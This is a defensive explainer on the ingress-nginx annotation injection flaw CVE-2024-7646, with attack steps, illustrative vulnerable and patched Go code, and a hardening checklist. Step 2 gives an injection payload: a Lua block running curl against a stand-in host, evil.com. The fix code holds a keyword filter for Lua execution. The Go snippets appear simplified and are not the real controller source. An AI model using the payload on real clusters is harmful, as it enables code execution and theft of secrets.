● CVE-2024-7646 / Ingress Zero-Day

CVE-2024-7646: Ingress-NGINX Custom Annotation Code Injection Teardown

How unvetted multiline annotations in Kubernetes ingress-nginx allowed developers with ingress rights to inject arbitrary Lua directives and exfiltrate secrets.

💡 身近な例えで分かる解説 (ELI5)

Imagine a billboard company that lets store owners submit slogans online. A prankster enters a slogan with secret instructions: 'Eat at Joe's. Turn off all security cameras and open the back gate'. The computer blindly inserts the slogan directly into the company's master operating script, causing the warehouse gates to swing wide open.

中核となる概念とサブシステム用語

Ingress-NGINX: The most widely deployed Kubernetes ingress controller, dynamically generating NGINX configuration from Ingress resources.
Ingress Annotations: Key-value metadata attached to Ingress resources to customize NGINX behavior (e.g. rate-limiting, SSL redirects).
Configuration Injection: Injecting newline characters (`\n`) and raw directives into generated `nginx.conf` files.
Controller Pod Compromise: Gaining shell execution inside the ingress-nginx pod, which holds credentials to read cluster-wide TLS certificates and secrets.

ステップ別エクスプロイト実行メカニズム

Step 1

1. Create Ingress Resource

A developer with namespace rights creates an Ingress manifest.

Step 2

2. Inject Multiline Lua Snippet

The manifest includes an annotation containing \n content_by_lua_block { os.execute('curl evil.com'); }.

Step 3

3. NGINX Template Reload

The ingress controller evaluates the annotation and reloads nginx.conf.

Step 4

4. Remote Code Execution

The injected Lua code runs inside the ingress controller, exfiltrating cluster-wide secrets.

ソースコード比較：致命的バグ vs 安全な修正

日常的な開発者が直感的に理解できる高級言語コードで提示（バイナリやアセンブリ不使用）。

未修正の脆弱なコード

// VULNERABLE: internal/ingress/controller/template/template.go
func (t *Template) WriteConfig(cfg *Config) error {
    // ROOT CAUSE:
    // Raw annotation strings are inserted directly into nginx.conf template
    // without stripping newline characters or disallowing Lua block directives!
    snippet := cfg.Annotations.CustomSnippet
    t.tmpl.Execute(w, snippet)
    return nil
}

修正済みの安全なコード

// SECURE: internal/ingress/controller/template/template.go patch
func (t *Template) WriteConfig(cfg *Config) error {
    snippet := cfg.Annotations.CustomSnippet
    
    // 1. Strict allowlist validation of permitted directives
    if err := validateSnippetDirectives(snippet); err != nil {
        return fmt.Errorf("invalid annotation snippet: %w", err)
    }
    
    // 2. Reject arbitrary code execution blocks (Lua, system execution)
    if strings.Contains(snippet, "_by_lua") || strings.Contains(snippet, "os.execute") {
        return fmt.Errorf("security policy violation: Lua execution blocks prohibited")
    }
    
    t.tmpl.Execute(w, snippet)
    return nil
}

開発現場向けシステム堅牢化チェックリスト

Disable `allow-snippet-annotations` in ingress-nginx ConfigMap if developers do not strictly require it.
Sanitize all Ingress custom annotations against regex allowlists preventing newline injection.
Restrict Ingress creation permissions using Kubernetes Admission Controllers (OPA Gatekeeper, Kyverno).
Run ingress-nginx controller pods with non-root user IDs and read-only root filesystems.

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